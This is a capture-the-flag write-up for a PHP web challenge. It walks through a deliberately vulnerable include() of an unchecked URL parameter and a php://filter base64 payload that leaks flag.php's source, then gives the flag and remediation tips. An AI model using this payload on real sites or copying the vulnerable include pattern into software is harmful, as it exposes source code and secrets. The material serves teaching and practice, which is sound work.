Files
HIP7CTF_Writeups/the_wrapper.md
m0rph3us1987 a79656b647 Added writeups
2026-03-08 12:22:39 +01:00

3.7 KiB

The Wrapper

Welcome to the write-up for The Wrapper. This is a "web" challenge that explores a classic and powerful vulnerability in PHP applications: Local File Inclusion (LFI) using PHP Wrappers.

In this challenge, we have access to a "Language Loader v2.0" that dynamically loads different language files. Our goal is to read the secret contents of flag.php.


1. Initial Reconnaissance

The challenge description says:

"Our development team just launched the new Language Loader v2.0! It features a sleek sidebar and dynamic content loading to support our global users in English, German, and Spanish."

When we visit the page, we see a sidebar with links like:

  • ?lang=english.php
  • ?lang=german.php
  • ?lang=spanish.php

When we click these links, the content of the main box changes. This is a strong indicator of dynamic file inclusion.

2. Source Code Analysis

The challenge provides us with the_wrapper.tar.xz. Let's examine index.php:

<div class="box">
    <?php
        // Default language
        $file = "english.php";

        if (isset($_GET['lang'])) {
            $file = $_GET['lang'];
        }

        include($file);
    ?>
</div>

This code takes the lang parameter directly from the URL and passes it to the PHP include() function. This is a classic Local File Inclusion (LFI) vulnerability. The application blindly trusts our input and attempts to include and execute any file we specify.

3. The Obstacle: Execution vs. Disclosure

We know there is a flag.php file in the same directory (we saw it in the source code archive). Let's try to include it: ?lang=flag.php

The page loads, but the box is empty! Why? Let's look at flag.php:

<?php
$flag = "{flag:PHP_Wrappers_R_Magic_F0r_LFI}";
?>

The file only defines a variable called $flag; it doesn't print it. When we include it via ?lang=flag.php, PHP executes the code, sets the variable, and that's it. Nothing is displayed on the screen.

To get the flag, we need to read the source code of flag.php without executing it.

4. The Vulnerability: PHP Wrappers

The challenge title "The Wrapper" is a massive hint. PHP has a feature called "Wrappers" that allow you to modify how files are accessed.

One particularly useful wrapper for LFI is php://filter. It allows you to apply filters (like base64 encoding) to a file before it's read or included.

If we use the convert.base64-encode filter, PHP will encode the entire contents of the file as a base64 string and then "include" that string. Since a base64 string isn't valid PHP code, it won't be executed—it will just be printed directly to the page as plain text.

5. Exploitation

We can craft a payload to leak the source of flag.php:

?lang=php://filter/convert.base64-encode/resource=flag.php

When we visit this URL, the content box will contain a long base64 string: PD9waHAKJGZsYWcgPSAie2ZsYWc6UEhQX1dyYXBwZXJzX1JfTWFnaWNfRjByX0xGSX0iOwo/Pgo=

Now, we just need to decode it: echo "PD9waHAKJGZsYWcgPSAie2ZsYWc6UEhQX1dyYXBwZXJzX1JfTWFnaWNfRjByX0xGSX0iOwo/Pgo=" | base64 -d

<?php
$flag = "{flag:PHP_Wrappers_R_Magic_F0r_LFI}";
?>

6. The Solution

Flag: {flag:PHP_Wrappers_R_Magic_F0r_LFI}


Lessons Learned

  • Never trust user input in include() or require(): Use a whitelist of allowed files instead of directly passing user-supplied strings.
  • PHP Wrappers are powerful: They can be used to bypass filters, read source code, or even achieve remote code execution (RCE) in some configurations (e.g., php://input or data://).
  • Defense in Depth: Even if an LFI exists, it's harder to exploit if the server's PHP configuration restricts the use of dangerous wrappers (allow_url_include = Off).

Happy Hacking!